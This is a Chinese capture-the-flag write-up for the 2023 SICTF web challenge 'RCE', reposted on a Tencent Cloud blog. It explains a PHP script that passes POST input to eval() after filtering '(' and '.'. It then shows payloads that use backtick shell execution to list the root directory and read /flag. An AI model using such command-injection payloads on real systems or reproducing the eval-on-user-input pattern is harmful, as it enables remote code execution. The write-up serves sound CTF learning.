前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2023SICTF-web-白猫-RCE

2023SICTF-web-白猫-RCE

作者头像
用户8909609
发布2023-12-01 09:58:33
1690
发布2023-12-01 09:58:33
举报
文章被收录于专栏:BM CTF

0×01 分析题目

题目名称: RCE 题目简介: 请bypass我! 题目环境: http://210.44.151.51:10088/

函数理解: #PHP str_replace() 函数

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<body>

<?php
echo str_replace("world","Shanghai","Hello world!");
?>
  
</body>
</html>

Hello Shanghai! 定义和用法 str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。 该函数必须遵循下列规则:

1.如果搜索的字符串是数组,那么它将返回数组。 2.如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。 3.如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换 4.如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。

#语法

str_replace(find,replace,string,count)

参数

1.find 必需。规定要查找的值。 2.replace 必需。规定替换 find 中的值的值。 3.string 必需。规定被搜索的字符串。 4.count 可选。对替换数进行计数的变量。

#eval() 函数把字符串按照 PHP 代码来计算。

环境代码:

<?php #PHP开始代码,头代码 error_reporting(0); #屏蔽所有报错信息 highlight_file(__FILE__); #文件高亮显示,将代码呈现出来 $code = $_POST['code']; #定义了一个code参数,通过$_POST方法获取code参数的值 $code = str_replace("(","hacker",$code); #将参数code里面的(替换为hacker $code = str_replace(".","hacker",$code); #将参数code里面的.替换为hacker eval($code); #将参数code的值或者字符串作为PHP代码来执行 ?> #执行

不难看出题目中进行了(和.的过滤,我们的进行RCE绕过

0×02 开始解题

我们可以利用反引号执行命令 echo输出 code=echo ls /; 输出了根/目录下的所有文件及其目录 看到一个名为flag的文件 使用cat命令去查看里面的内容 code=echo cat /flag; 最终曝出了flag

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0×01 分析题目
  • 0×02 开始解题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档